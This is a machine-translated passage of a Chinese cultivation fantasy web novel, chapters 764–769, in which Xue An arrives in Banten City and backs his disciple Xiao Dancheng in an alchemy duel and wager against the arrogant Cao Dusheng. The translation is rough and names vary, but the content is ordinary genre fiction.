    Lu Lie''s face was pale, "Qi luck has faded, is there something wrong with Zudi?"


    As he said, he threw himself to the ancestral land located a hundred miles east of the ancestral house.


    A hundred miles away, for someone like him, it''s just a snap.


    But as soon as I arrived here, I saw that the old, picturesque and energetic ancestral land was in a mess.


    As if experiencing a huge earthquake, the ground was full of blood and corpses, all of them guarding the ancestral land.


    When Lu Lie saw this scene, his eyes turned black with anger, and he almost sprayed out a mouthful of blood.


    This is the ancestral land where the ancestors of the Lu family slept!


    And it''s about the life and death of the entire Chaotianfang Lu Family.


    The result has become such a look.


    As the Patriarch, how could he not feel angry and distressed?


    "What''s going on?" Lu Lie was going crazy.


    At this time, a guard who was lucky enough to not die in the earthquake just now knelt on the ground tremblingly.


    "Patriarch, everything was normal today, but suddenly, the ancestor seemed to be irritated by something. After waking up from a deep sleep, he went to the distance, but after a while, the ancestral land suddenly began to shake , The power is so powerful that most of our guards were killed and injured in an instant! Please be clear from the owner!"


    L�� Lie snorted Regardless of whether the matter was true or false, he directly waved his hand and shattered the guard''s head, then crushed his spiritual thoughts to extract the picture just now.


    really.


    Everything is the same as the person described.


    Lu Lie''s eyelids began to beat frantically.


    The ancestors of the Lu family left furiously and violently. They must have been irritated by something, and then they never came back. The ancestral land was also destroyed. That can only explain one thing.


    That is, the ancestor of the Lu family has been beheaded.


    Who is it that actually had such a way to reach the sky, able to kill the spirits of the ancestors of the Lu family?


    But in any case, Chaotianfang Lu''s family will avenge such an ancestral revenge!


    Therefore, he said solemnly: "Find out the person who destroyed my Lu family''s ancestral land immediately!"


    "Yes!"

 Chapter 764： Xuan Lei has happened, enter Banten City

    Xuanlei City had something to do, Xue An led the family onto the Crane Luan car once again, and continued to drive to the middle area.


    Finally, after passing through a large stretch of uninterrupted mountains, the eyes suddenly opened up, and a vast expanse of heaven and earth appeared.


    As soon as he stepped into this place, Xue An felt that the aura here was several times more abundant than the Eastern Region.


    Even on the unknown hill, there are spiritual springs gushing, and all kinds of strange flowers and plants are everywhere.


    The rare beasts and giant birds that may be rare in other areas are nothing new here.


    "Sure enough, it is a place of outstanding people!" Xue An couldn''t help but exclaimed.


    "Master, this Middle Territory is several times as wide as the Eastern Territory! And the city of Banten we are going to is in the northwest of the Middle Territory. There are still a few days away from here!"


    Xue An nodded, "Hurry up then!"


    "Yes!"


    Next, He Nian Luan flew in the direction of Banten City.


    On this road, it is much more lively than Outland.


    I saw a beautifully shaped flying boat swaying from above the sky, among which there are many giant magical instruments that are thousands of feet long.


    Compared with this kind of existence, the Crane Luan car, which looked very glamorous outside, looked a little unremarkable.


    Xue An didn''t care much about this.


    After all, no matter how big these boats are, can they still have the shock of those giants that use stars as power and meteors as reins?


    It''s nothing more than to show off in this small world.


    On the contrary, An Yan and the two little girls have been looking at the scenery outside with excitement, and they exclaimed from time to time. The inexperienced appearance made Xue An laugh.


    He Nian Luan drove across the prosperous ancient cities, and finally came to Banten City on this day.


    This city is located at the top of a mountain shaped like a pill furnace.


    Although there are still thousands of miles away, you can clearly see the grandeur and grandeur of this city.


    And even the air is full of medicinal fragrance, which shows the prosperity of alchemy here.


    "Master, this is the headquarters of the Alchemy Guild, Banten City, known as the first alchemy in the world!" Xiao Dancheng said.


    Xue An nodded, "Go in!"


    Soon, Xue An and his party entered the city of Banten.


    I saw everything related to alchemy being sold everywhere on the street.


    There are even alchemy monks who started making alchemy directly on the street, and some people were holding coins for purchase.


    The price of the pill that has not been opened for the pill furnace is nearly half cheaper than the normal pill.


    But if there is a problem in the refining process, the pill cannot be obtained when the furnace is opened, or the quality is not good, then you can only think that you are unlucky.


    To put it bluntly, it''s luck.


    But because it was cheap, every pill furnace was still surrounded by monks.


    Seeing Xue An''s interest in this, Xiao Dancheng couldn''t help explaining, "Master, this is a popular method here. We call it a gambling pill! To put it bluntly, it is to bet on whether this pot of pill will succeed!"


    Gamble on Dan....


    Xue An nodded, but the name was appropriate.


    "Find a place to live first!" Xue An said.


    Xiao Dancheng smiled bitterly, "Master, we are a bit late this time, and seeing that the Doudan Conference is about to start, this Banten City is obviously full of people. Where can we find a place to live?"


    "Oh?" Xue An frowned slightly, which was a problem.


    Could it be that you still have to sleep on the street?


    Xiao Dancheng said: "Master, I am quite familiar with the owner of a pill chamber of commerce here. Why don''t we live there for a few days. After the pill fight is over, there will be an idle house!"


    "All right!" Xue An naturally had no opinion.


    So Xiao Dancheng led Xue An''s family across the street, circling around to a small but lively alley.


    In the middle of the alley, there is a small wooden building that is not too tall but very delicate, with three characters written in seals.


    Judan Palace.


    "Master, it''s here! I know the owner quite well, and it must be fine to spend a few days here!"


    With that, Xiao Dancheng led Xue An and others into this small building.


    After crossing the door, everyone suddenly opened up.


    The area inside is much wider than what is shown outside.


    Xue An raised his eyebrows slightly.


    This small building has also been refined, otherwise such a miraculous scene would not appear.


    This alone is enough to prove the strength of this pill-gathering palace.


    And in the lobby, there are many counters made of crystal, and in the crystal clear counters are all kinds of pills.


    There are ordinary Fanpin pills, and there are also Heavenly Rank pills that exude powerful medicinal power.


    A buddy and alchemist are diligently introducing pills to customers.


    Let this huge hall appear very lively and prosperous.


    Xue An nodded secretly, and the person who arranged this small building was obviously a master of customer psychology.


    No matter it is the lighting or the decoration, it is invisible to highlight the extraordinary of this medicine, and make you have the urge to buy.


    Thinking about it.


    I saw a neatly dressed guy greeted him, "Dare to ask...Oh, isn''t this Mr. Xiaodan Zunxiao? You are here too!"


    The boy recognized Xiao Dancheng at a glance.


    Xiao Dancheng caressed his beard and smiled, "Come on! Is your shopkeeper here?"


    "Yes! I will receive guests from behind, please come with me!"


    What Xiao Dancheng said was true. The guys here were very familiar with him, so he led them directly through the hall and came to the back courtyard.


    This Judan Palace looks unremarkable from the outside, but there is a cave inside.


    After passing through the trading premises in front, there is a rather gorgeous house behind.


    Among them, there are various defensive arrays, which are enough to resist the attack of the Jinxian strong.


    "Mr. Xiao, wait for a while, I''ll see if the shopkeeper has finished receiving guests!"


    After all, a little maid brought tea, and the little man left the tea shop.


    "Master The treasurer of the Judan Palace is a strange man. In the earliest days, this place was just a small business shop, but since she took over, it has gradually developed and grown and has gradually become what it is today. This scale!" Xiao Dancheng explained in a low voice.


    At this moment, I listened to the ring Peking Bell outside, and then there was a very happy voice, "Mr. Xiao, you are finally here!"


    With that, she walked in a young girl with bright eyes and white teeth.


    Xue An was startled.


    He just listened to Xiao Dancheng''s introduction and thought that the shopkeeper here would be an old man with a shrewd face.


    But I didn''t expect to be such a beautiful girl.


    This Xiao Dancheng folded his hands and smiled: "I was delayed on the road when I came this time, so I came a bit late!"


    The girl nodded, but her eyes turned to Xue An, An Yan and others who were aside.


    "These are..."

 Chapter 765： Fighting pill will start, gambling wildly

    Xiao Dancheng smiled, "Treasurer Dong, this is a master I admire! This time I am here for the pill fighting conference!"


    "Master?" Dong Lingxin was surprised.


    Because Xue An seems to be only in her twenties, with a lazy and indifferent temperament, he looks like a weak scholar.


    But Mr. Xiao of Xiao Danzun is called a master?


    Could this person be a descendant of an ancient alchemy family?


    Dong Ling was thinking about it.


    Xiao Dancheng smiled and said, "Because I came a bit late this time, I can''t find a place to live anymore. I wonder how many days can be convenient for us to stay in your place?"


    Xiao Dancheng thought that Dong Lingxin would promise, but he did not expect that Dong Lingxin frowned slightly, and his face was embarrassed.


    The smile on Xiao Dancheng''s face gradually became a little awkward, and he said lightly: "Is there any difficulty in your place? It''s okay, let''s find another place to live!"


    "No, Mr. Xiao, you have misunderstood. I have no difficulty here. It is an honor for us to live in Judan Palace. It''s just..."


    "It''s just what?" Xiao Dancheng felt a little displeased. He hesitated to think such a small matter, and made himself ashamed in front of the master.


    At this moment, I heard a voice full of arrogance and disdain, "It''s just that this Pill Pill Palace does not welcome some people who cheat the world!"


    Following the voice, a monk wearing an embroidered golden pill robe with a long beard of five willows, and a pill-stricken monk walked in.


    When he saw this person, Xiao Dancheng''s expression suddenly sank, "Cao Dusheng, it''s actually you!"


    Cao Dusheng sneered for a while, "Xiao Dancheng, I didn''t expect that this time the pill fighting conference, you really dare to come! Don''t you be afraid that Dan will be defeated and become the laughing stock of the crowd like the last time?"


    At the mention of this incident, Xiao Dancheng''s expression became extremely ugly.


    "Cao Dusheng, it is purely your luck! This time I will defeat you!"


    "Beat me? Haha, rely on you?" Cao Dusheng glanced at Xiao Dancheng, his face full of disdain.


    The strong smell of gunpowder between the two can be smelled by everyone around them.


    Dong Ling looked embarrassed.


    This is why she just hesitated.


    Because she knows that the only student Cao Dancheng and Xiao Dancheng are enemies of life and death.


    In the last fight against pill, Xiao Dancheng was defeated by this Cao Dusheng.


    Coming this time, I definitely wanted to defeat Cao Dusheng and win back the reputation and dignity he had lost.


    But all of this is estimated to be difficult!


    Dong Ling was thinking in his heart, as expected.


    I saw Cao Dusheng sneered and said, "Don''t open your eyes and see, what level I am now!"


    As he said, Cao Dusheng unfolded his alchemy robe and revealed the small badge embroidered on his chest.


    "This is... Profound Rank Alchemist, how could it be possible, how could you be a Profound Rank Alchemist?"


    After Xiao Dancheng saw the badge clearly, he was shocked and shouted in disbelief.


    Cao Dusheng laughed triumphantly, "How could I not be the Profound Stage Alchemist? Tell you Xiao Dancheng, I have now worshipped the ancestor of the Tempered Pill, and became his former disciple. This Profound Stage Alchemist naturally Not to mention it!"


    Hearing these words, Xiao Dancheng''s complexion was extremely defeated.


    Because this blow is too big.


    He has been practicing hard every day for the past few years, just to make himself ashamed in this battle pill meeting.


    Unexpectedly, the gap between them has not narrowed, but widened.


    Now that the other party has entered the door of the ancestor of the Earth-level Alchemist Tempering Pill, this revenge will be even more hopeless.


    After Cao Dusheng saw Xiao Dancheng''s expression, the complacency on his face almost overflowed.


    "Xiao Dancheng, if I were you, I would go back home obediently now, and then be your ridiculous little Danzun in the Eastern Region, and never step into the Central Region again from now on! This is my advice to you. Hahahaha!" Cao Dusheng laughed triumphantly.


    But at this moment, Xue An suddenly said: "Xiao Dancheng will participate in this Bidan Conference, and will make you kneel to give up in front of everyone!"


    The laughter stopped abruptly.


    Cao Dusheng looked at Xue An, and then gave an inexplicable expression, "Who are you who dare to talk to me like this?"


    Xiao Dancheng was already sober at this time, and he said loudly: "This is Mr. Xue Anxue, he is an alchemy master!"


    "Master of alchemy?" Cao Dusheng repeated, then looked at Xue An, the expression on his face gradually became weird.


    Because Xue An''s appearance is too young.


    You must know that alchemy is a practice that requires experience.


    So among those master alchemists, who is not the gray-haired old man?


    People at the age of Cao Dusheng are already very young.


    But Cao Dusheng had never seen someone as old as Xue An before he could be called an alchemy master.


    Therefore, he looked at Xue An with a smile but a smile, "Oh? Dare to ask this alchemy master, what kind of alchemy are you?"


    Xue An heard this introduction by Xiao Dancheng.


    In the Alchemy Guild, the alchemists are divided into eight ranks.


    They are Huang, Hong, Zhou, Yu, Huang, Xuan, Earth, and Heaven!


    No matter who they are, as long as they want to enter Banten City to obtain an official title, they have to pass an alchemy assessment, verify their alchemy cultivation base, and see which level they are.


    But Xue An had never been to Banten City in the future, nor had he experienced an alchemy assessment, so naturally there was no way to talk about a few grade alchemists.


    Xue An shook his head and said lightly: "There is no rank yet!"


    "What? No rank? Ha ha, a dignified alchemy master, actually has no rank?" Cao Dusheng said exaggeratedly.


    Then he turned his head and looked at Xiao Dancheng, "Hey, Xiao, I wonder if you are already fainted! Actually admit that such a young man who doesn''t even have a long beard is a master alchemist, are you in a hurry? ?"


    Xiao Dancheng''s complexion was extremely ugly, and he was about to sneer.


    Xue An waved his hand, UU reading prevented him from speaking, and then said lightly: "I really don''t have a rank yet, but I think, at the Doudan Conference, I can tell if I am a liar or a real master Now! It''s you..."


    "How?" Cao Dusheng said with disdain.


    "Since you think you won''t lose, you might as well bet! If Xiao Dancheng loses in the Pill Fighting Conference, then he will abolish his cultivation base and get out of Wandan City from now on, and never talk about alchemy!"


    "And what if you lose..." A cold smile appeared at the corner of Xue An''s mouth.


    "You just kneel in front of Xiao Dancheng and me in front of all the cultivators in the world and call Grandpa Three Hundred Sounds. I am your grandson! How?"


    As soon as the words came out, all the people in the house changed their colors.


    Xiao Dancheng couldn''t help taking a breath.


    Because this bet was simply too big, he was betting on cultivation base, while Cao Dusheng was betting on his dignity.


    Sometimes dignity is trampled on, and that is worse than death.

 Chapter 766： Mystery of the Heart

    Cao Dusheng''s eyelids throbbed frantically, staring at Xue An, and sneered: "But I don''t know if your words represent yourself or Xiao Dancheng?"


    Without waiting for Xue An''s response, Xiao Dancheng already said solemnly: "What Master Xue said is what I meant!"


    "Very good! In that case, I will take this bet! But I have one condition!"


    Xue An said calmly: "What conditions?"


    "If Xiao Dancheng loses, you have to kneel down and call me three hundred grandpa!"


    When he said this, Cao Dusheng''s eyes flashed harshly.


    Xiao Dancheng''s complexion changed and he was waiting to be stopped.


    Xue An smiled, "Yes!"


    Cao Dusheng nodded in satisfaction, then turned his head and glanced at Xiao Dancheng, then grinned and said: "Xiao Dancheng, I am looking forward to your performance in the Dancheng Dou!"


    After all, Cao Dusheng laughed arrogantly and walked away.


    Xiao Dancheng felt his heart sinking.


    The powerful self-confidence revealed in this Cao Dusheng''s words made his heart more and more bottomless.


    In particular, this gambling battle is not only related to himself, but also related to Xue An''s dignity, and he cannot lose.


    This pressure made Xiao Dancheng''s expression extremely solemn.


    At this moment, Dong Lingxin, who had witnessed all this, sighed, and then said: "Mr. Xiao, if you listen to my advice, don''t go to this pill fighting conference, let alone go with this Cao Dusheng. Gambling, while there is still time, leaving this Banten City is the main thing!"


    Hearing these words, Xiao Dancheng, who was already nervous, looked even paler.


    Xue An smiled faintly, "Oh? Why did you say this?"


    Dong Ling glanced at Xue An deeply.


    The words and deeds of this man just now made this Dong Lingxin, who made his own business from nothing, quite unhappy.


    Because he is too "arrogant".


    Arrogant enough to dare to openly challenge people like Cao Dusheng.


    Therefore, Dong Lingxin said indifferently: "You and Mr. Xiao know everything. In the past few years, Cao Dusheng has not only improved his alchemy strength by leaps and bounds, he has also become a celebrity in front of the ancestor seat of the quenching pill."


    "Since the ancestor of the quenching pill was promoted to a ground-level alchemy three years ago, he has become the strongest master in the alchemy guild. After several years of development, he has already controlled most of the industry in Banten City!"


    "It can be said that the current pill refining guild and Wandan City are all in charge of the pill quenching ancestor!"


    "Under such monstrous power, what is your chance of winning?"


    Hearing Dong Lingxin''s words, Xiao Dancheng trembled slightly.


    Because he also didn''t expect that his original opponent, now actually has such power.


    If he knew, he would think about the gambling fight just now.


    But Xue An laughed, "Pill Tempering Old Ancestor? Earth-Step Alchemy? Very good. Then I will see how powerful this person who dares to call himself an ancestor is!"


    Dong Ling''s complexion changed, and his dislike for Xue An almost overflowed.


    Because in her opinion, this man is purely bragging.


    You must know that the ancestor of Pill Tempering is a great alchemy magnate who has been famous for hundreds of years.


    So her eyes grew cold, and after a few more words with Xiao Dancheng, she ordered her servants to arrange a place for them, but she got up and left.


    Xiao Dancheng naturally noticed this inconsistent indifferent attitude.


    But Xue An just smiled at this.


    No matter where he goes, he respects his strength. There is nothing to blame.


    Although Dong Lingxin was rather unhappy, he still did well in etiquette and arranged for Xue An and his party with a very clean courtyard with special personnel to serve.


    After Xue An and others stayed, he had not waited for a cup of tea.


    This Xiao Dancheng solemnly greeted Xue Anshen with a full face, "Master Xue, please show me my alchemy!"


    Xue An put down his tea cup, looked at Xiao Dancheng with sincere eyes, and smiled, "Have you guessed I would teach you alchemy?"


    Xiao Dancheng nodded, "I was aware of it when you came forward for me! Because, as Dong Lingxin said, this Cao Dusheng is not what it used to be. If I only rely on my current ability, it is extremely difficult to win."


    Xue An did not speak, but picked up his cup and drank tea slowly.


    Xiao Dancheng was not in a hurry, and waited quietly.


    It was not until half a cup of tea that Xue An looked up at Xiao Dancheng and said lightly: "I have two options for you to choose. The first is that I have trained you in a certain aspect of alchemy alone during these few days. Until you can defeat that Cao Dusheng!"


    Xiao Dancheng was silent for a moment, and then solemnly said, "Dare to ask Master, what about the second one?"


    "The second rule is to make you refining your pill heart and become a true pill master!"


    Xiao Dancheng said without hesitation: "The disciple is willing to choose the second one!"


    Xue An seemed to have expected Xiao Dancheng to say this a long time ago, so he said indifferently: "But you have to think about it clearly. This second road is extremely dangerous. If you are not careful, you may break down and die!"


    Xiao Dancheng didn''t hesitate, "With my age and talent, my achievements on the path of alchemy would have ended here. Now that the master has a way to re-strengthen my heart, even if my body is broken, I am willing to give it a try!"


    Xue An nodded, "That''s good! If so, I will help you!"


    As he said, Xue An suddenly sighed, "Look up!"


    Xiao Dancheng subconsciously raised his head and looked towards Xue An.


    Seeing the brilliant light in Xue An''s eyes.


    Xiao Dancheng shook his whole body, and his eyes quickly became dimmed, as if the soul suddenly disappeared, and his whole body fell softly on the chair.


    "Husband, what is this?" An Yan asked in astonishment when he saw this scene.


    Xue An smiled faintly. "Three or five days is not enough, so I just let him enter the secret realm of his own heart demon, and start refining his heart."


    While on Earth, Xue An used this trick to temper members of the Fire Phoenix Special Forces.


    But now that Xue An is showing it again, the power is more than a hundred times stronger or even just a look in the eyes, which is enough to completely sink into the mystery.


    In the next few days, Xiao Dancheng never awoke, and he spent all of his time in the secret realm of his own inner demon.


    Xue An was watching.


    This heart demon secret realm is formed by the heart demon deep in everyone''s heart.


    If it cannot be investigated, then the result is likely to be unable to wake up again.


    And no one else can help at all.


    time flies.


    In the blink of an eye came the day before the Doudan Conference.


    But Xiao Dancheng still showed no signs of waking up.


    Just in this atmosphere.


    Dong Lingxin came.

 Chapter 767： Next, its up to you!

    "This...what''s going on?" Dong Lingxin asked with astonishment looking at Xiao Dancheng who was lying on the bed like a dead person.


    "He is practicing alchemy!" Xue An said lightly.


    "It''s a nonsense!" Dong Ling was completely angry.


    As a person who runs the pill business in Banten City, although she is not an alchemy master, she has seen other people practice alchemy.


    Which one isn''t the pill furnace that makes every effort to refine the pill?


    She had never seen this kind of practice method of lying on a bed like flying silk.


    "Is there any problem?" Xue Anhao said leisurely.


    Dong Ling took a deep breath, trying to calm himself down.


    Her perception of Xue An was not so good.


    Now it is directly linked to the liar.


    But the matter has come to this point, it is useless to say.


    Therefore, she said solemnly: "I don''t care what you are doing, I can only say that if you want to survive, you should leave Banten City as soon as possible, otherwise there will be no chance!"


    Dong Ling came here because she heard some wind from the outside world.


    That Cao Dusheng was confident in this competition, and on various occasions more than once expressed his intention to make Xue An and Xiao Dancheng look good.


    Compared with Cao Dusheng''s current status and status.


    Xiao Dancheng in the Eastern Region was a little insignificant.


    Therefore, the public opinion almost showed a one-sided trend, and no one even had confidence in Xiao Dancheng''s fight.


    So that''s all there is to it.


    But Dong Lingxin also learned a lot of secrets through some special ways.


    For example, Cao Dusheng has been secretly sending people to monitor Judan Palace during this period.


    All these signs indicate.


    This Cao Dusheng is obviously not just about winning this competition.


    This discovery shocked Dong Lingxin.


    Although she did not like what Xue An did, she still respected Xiao Dancheng very much.


    That''s why she wanted to persuade them at the last minute to let the two of Xue An leave Banten City quickly.


    After listening to Dong Lingxin''s explanation.


    Xue An smiled, "Thank you for your kindness, but this time the fight is definitely going!"


    "Go? How to go? Lift the bed to let the unconscious Mr. Xiao go to fight with Cao Dusheng?" Dong Lingxin pointed at the collapsed Xiao Dancheng and said sarcastically.


    But just when she was going to continue.


    Xue An raised his eyes and glanced at her.


    This glance caused Dong Lingxin''s words to shrink back.


    Because she felt Xue An''s eyes were simply too scary.


    That kind of indifference like ice made Dong Ling''s heart tremble slightly.


    Fortunately, Xue An only glanced, then narrowed his eyes and continued to lower his head to drink tea.


    Dong Ling hesitated for a moment, then slowed down his tone and said, "Mr. Xue, even if you don��t plan to leave, tomorrow is the day of the fight, but Mr. Xiao is still unconscious. If that��s the case, what are you doing? Fighting?"


    Xue An didn''t say a word, until he drank all the tea in the cup, he said lightly: "Isn''t it until tomorrow?"


    "You..." Dong Ling felt angry about it, and simply waved his hand.


    "Forget it, since you are so obsessed, I don''t bother to persuade you anymore, so be it yourself!"


    After that, Dong Lingxin turned around and left.


    Xue An looked at her back and smiled slightly, "Anyway, thank you for your kindness! I just want to try it!"


    "Try what?" Dong Lingxin stopped and asked curiously.


    "Try to see if Xiao Dancheng can get out of his own demons! So I will give him another night!"


    Dong Lingxin obviously didn''t understand what Xue An was talking about, but now in her eyes, Xue An''s words were not believed at all, so after a few sneers, he strode away.


    Xue An turned to look at Xiao Dancheng, who was still pale, and said lightly: "Now, it''s up to you!"


    "If you can''t wake up, then tomorrow, I will kill the only child of Cao!"


    No words for a night.


    When the first rays of sunlight in the morning hit the house.


    Xiao Dancheng''s face was still pale on the collapsed, and there was no sign of waking up.


    Xue An sighed slightly.


    The demons are hard to get rid of.


    So he had expected this result a long time ago.


    "Husband, did you fail?" An Yan asked as he walked out of the inner room.


    Xue An shook his head, "I set up a time in his heart demon secret realm, so he must know that today is the day of the fight, but he has not woken up until now, indicating that he has a good chance of passing the heart demon level. Small!"


    "Then what to do?" An Yan was also a little sad.


    After all this journey, this Xiao Dancheng made a good impression on her.


    Xue An was silent for a moment, and then stood up, "Since he can''t wake up, let me kill the only student of Cao!"


    An Yan nodded.


    But just when Xue An was about to walk outside the door.


    Xiao Dancheng lying on the bed suddenly moved his fingers.


    This movement was very slight, but Xue An still noticed.


    "Huh?" Xue An stopped.


    At this moment, I saw Xiao Dancheng''s whole body shook, and then he floated into the air, covered by layers of purple Danqi.


    A powerful Dan Dao pressure spread out.


    Xue An was startled slightly, and then a faint smile appeared at the corner of his mouth, "It''s really good, I can wake up at the last minute!"


    At this moment, Xiao Dancheng opened his eyes suddenly.


    The pupils of both eyes are filled with purple energy that symbolizes the nobleness of alchemy.


    As far as his eyes could be, there were phantoms of pills out of thin air.


    But as Xiao Dancheng blinked, these mysterious and powerful scenes gradually faded away.


    Even the pill energy that enveloped the whole body was converged into the body.


    In an instant.


    Xiao Dancheng became like an ordinary old man. If you look at his momentum, he was not even as strong as he was before he fell asleep.


    At this time, Xiao Dancheng gradually came to his senses from the confusion he had just woken up, and then he carefully examined his hands, tried to feel the power of the surging alchemy in his body, and his face couldn''t help showing ecstasy.


    Then Xiao Dancheng calmly stepped forward and gave a respectful salute to Xue An.


    "The disciples live up to the great hopes of the master, finally defeated the inner demon, refind the heart, and broke through!"


    Although it was just a very simple sentence, Xue An understood how difficult it was.


    So he smiled and nodded, "Good job!"


    Then he looked out the window.


    At this moment, the sky outside the window has been shrouded in layers of dandao light.


    That is the trace left by the alchemy on the way.


    Xue An said indifferently: "Today is the day of the fight, and then it''s up to you!"


    "Yes!" Xiao Dancheng replied respectfully, with purple lights in his eyes.


    Cao Dusheng, the humiliation you put on me.


    Today, I will double it back to you!

 Chapter 768： Dou Dan begins

    In the middle of Banten City, there stands a tall building.


    This tall building with a height of one hundred feet and the color of the whole body is the headquarters of the Alchemy Guild.


    It is also the place where the Battle Pill Conference has been held over the years.


    now.


    In the vast hall of this Danlou, the voices were full of people and it was very lively.


    Alchemists from all over the world gathered together, communicating in groups of their experiences in alchemy over the past few years.


    This is also a very important function of the Doudan Conference.


    After all, Guiyi Star is extremely large, and the boundaries between them are more than ten thousand miles apart. It is usually difficult for these alchemists to communicate with their peers.


    And this pill fighting conference can be regarded as a rare exchange platform for alchemists from all sides.


    Many alchemists took this opportunity to communicate with each other, exchanging urgently needed elixir or elixir.


    At this moment, Cao Dusheng, who changed into a new black pill robe, walked in proudly.


    As soon as they saw him, many alchemists all showed a trace of fear and began to say hello.


    "I have seen Master Cao!"


    "Mr. Cao!"


    "I haven''t seen him for a few days, Mr. Only-born''s alchemy base has improved, which shows that the level of this life is promising!"


    These compliments and greetings are endless, making this Cao only student very useful.


    He pretended to be arrogant and nodded slightly, with an unpredictable smile on his face, and then walked into the pill room that can only be enjoyed by the yellow-order alchemist and above.


    After he left, all the topics in the hall shifted to him.


    "This Cao Dusheng is really lucky! At first he was just an ordinary echelon alchemist, but in the end he didn''t know how to do it, but he was valued by the ancestor of the quenching pill, and he became a disciple of his old man. This pill technique has begun to advance by leaps and bounds, and in a few years it has broken through to the profound stage, which is really enviable."


    "Tsk tsk, it''s a pity that I was almost a person. I heard that as soon as this person became a disciple of the ancestor of quenching Dan, he began to retaliate wildly against the people who had enemies with him at the beginning. Some even met him because he didn''t say hello to him. The tragic revenge shows that this person is a villain who must retaliate!"


    Hearing this alchemist''s account, everyone around him fell silent, and their expressions became a little unnatural.


    Because everyone was afraid that Cao Dusheng would retaliate after hearing these words.


    "Don''t talk about it! Hey, have you heard that? This Cao Dusheng made a bet with an alchemist in the Eastern Region. I heard that those who lose will not only be abolished, but also kneel down to shout to the other party. Grandpa Three Hundred Sounds!"


    "Why haven''t I heard? The entire Wandan City has been sensationalized by this incident! I heard that the alchemist of the Eastern Region is called a small alchemist, but in fact it is just an ecumenical alchemy!"


    "Hey, it''s fun to watch now!"


    "That''s right, it''s not good to provoke me, I actually provoke this guy!"


    In the midst of these discussions, Cao Dusheng was sitting in the alchemy room. A young boy offered fragrant tea. He was slowly sipping tea.


    At this time, a servant quietly walked in.


    "grown ups!"


    "How''s it going?" Cao Dusheng didn''t lift his head either.


    "The news that just came back said that there is still no movement in Judan Palace, and the news that came out said that this Xiao Dancheng seems to have been in a coma since you left, and has not yet woken up!"


    "Coma? Hehe, do you want to pretend to be dead?" Cao Dusheng showed a grinning smile upon hearing this.


    At this moment, I heard a loud noise in the hall outside the pill room.


    Cao Dusheng was startled slightly, just about to get up to see what was going on.


    The door of the Dan room has been opened.


    Then a woman who wore a moon-white pill robe with her eyebrows like a knife, piercing her temples diagonally, gave a delicate face a little murderous, walked in.


    A few black alchemists followed behind her, who were very respectful to this woman.


    As soon as he saw this person, the arrogance on Cao Dusheng''s face disappeared without a trace. He stood up and said in a flattering voice: "It turns out to be Lord Baiyue!"


    The woman stopped, glanced at Cao Dusheng, nodded slightly, "It''s Cao Dusheng!"


    Cao Dusheng trembled, a touch of joy appeared in his eyes, and said excitedly: "Yes, it''s right here!"


    The reason why Cao Dusheng was so respectful to this woman was entirely because this woman was a legendary figure in the Alchemy Guild.


    There were rumors of the Seven Giants in the Alchemy Guild.


    But after so many years, many alchemists have either been unable to retreat, or have fallen.


    The current alchemy guild, if it talks about its power, it is naturally the ancestor of the alchemy that is headed.


    But this woman did not give up too much.


    Not only because of her alchemy, but also because of her name.


    Lu Baiyue!


    The second lady of the Lu family in Chaotianfang!


    Among the cultivators of Gui Yixing, a proverb has been circulating.


    Poor sword and rich Dan.


    What Qiangjian said is that swordsmanship can be practiced poorly, because they don''t need to refine magic weapons, as long as they have a sword.


    Fudan means that if you want to become an alchemist, strong financial resources are necessary.


    Even if it is just getting started, the elixir needed is an astronomical number.


    Lu Baiyue perfectly verified the authenticity of this proverb.


    She has been fond of alchemy since she was a child, and she has learned from countless powerful alchemists, and has been refining pills since she was six years old.


    Because of the almost unparalleled financial support of the Lu family, her alchemy has advanced by leaps and bounds.


    Now he has broken through to the top of the mysterious stage at a young age, and is only one step away from stepping into the realm of the ground stage.


    But even if he had not yet become a ground-level alchemist, Lu Baiyue was still a top-notch existence in this alchemy guild.


    Even the ancestor Shudan had to keep three points of respect when he saw her.


    After all, who would have trouble with money?


    For this reason, Cao Dusheng, who has always been good at slaloming his beard and horses, is so respectful to him.


    "I heard that you made a bet with an alchemist in the Eastern Region?" Lu Baiyue said lightly.


    "Yes!"


    Lu Baiyue showed some interest.


    She was very unhappy with this Cao Dusheng, and this person was still a disciple of the old ancestor Quedan, so she had never paid much attention to him.


    But today someone dared to bet on Dan with him, this should be paid attention to.


    After all... the Lu family has just had such a thing, it is just when the person is employed It is good to be able to win over a master of alchemy!


    "Then this person is here?" Lu Baiyue asked.


    At this time, many people gathered in the Danfang.


    Everyone knew about Cao Dusheng, and they couldn''t help being a little curious.


    Cao Dusheng smiled complacently, "I guess it won''t come anymore!"


    "Oh? Why?"


    "I just heard the news that this person who bet against me has been in a coma. I guess he wants to pretend to be dead and avoid this gambling fight!" Cao Dusheng said smugly.


    Lu Baiyue frowned slightly when she heard this.


    Many people even winked at each other.


    All thought it was the ghost of Cao Dusheng.


    But at this moment, I heard a peaceful voice from outside, "Cao Dusheng, who said I would pretend to be dead and avoid?"

 Chapter 769： The first round, Lieyang Zhendan

    Following the voice, Xiao Dancheng walked in.


    When Cao Dusheng saw him, his face sank, and then he gave a cold snort.


    "I thought you pretended not to come!"


    Today''s Xiao Dancheng is calm, without the slightest smoke, even if he is provoked by Cao Dusheng, he just smiled.


    "Why can''t I not come to the betting agreement agreed in advance?"


    Cao Dusheng sneered and said, "Why, didn''t that master alchemy dare come?"


    "Master Xue will arrive later, now it''s up to you and me to gamble! Can we start?" Xiao Dancheng said lightly.


    Cao Dusheng was startled slightly, and a trace of doubt arose in his heart, because the appearance of Xiao Dancheng was a bit too calm.


    This is really not in line with his previous performance.


    It seems that the victory is in hand.


    At this time, Lu Baiyue on the side was also looking at Xiao Dancheng.


    She found that the alchemist''s aura was calm, but there was a faint purple aura in her eyes.


    This discovery moved Lu Baiyue''s heart.


    At this time, Cao Dusheng grinned and said, "Start from the beginning! I hope that if you lose at that time, you can abide by the gambling agreement, self-defeating, and kneel down and call my grandpa!"


    Xiao Dancheng smiled slightly, "I hope you do too!"


    Cao Dusheng gritted his teeth when he saw this, "playing mystery!"


    This pill fighting conference originally had a full set of alchemy devices.


    And it''s not uncommon to bet on pill.


    But because the two sides of the gambling battle today, one is the only child of the upstart Cao among alchemists, and the other is the infamous Eastern Alchemist, so many people still watched.


    At this time, the reviewer in the Dandao Guild who was responsible for betting on Dan walked up to the high stage with no expression, and said in a deep voice: "This bet on Dan is all voluntary, and all consequences are borne by both parties. Now the first game begins! "


    "It requires three hours to refining a True Sun Pill. There is no restriction on the furnace, alchemy!"


    boom!


    This announcement caused a commotion among the alchemists who were onlookers.


    "Lieyang True Pill, it is actually a heavenly pill, Lieyang True Pill!"


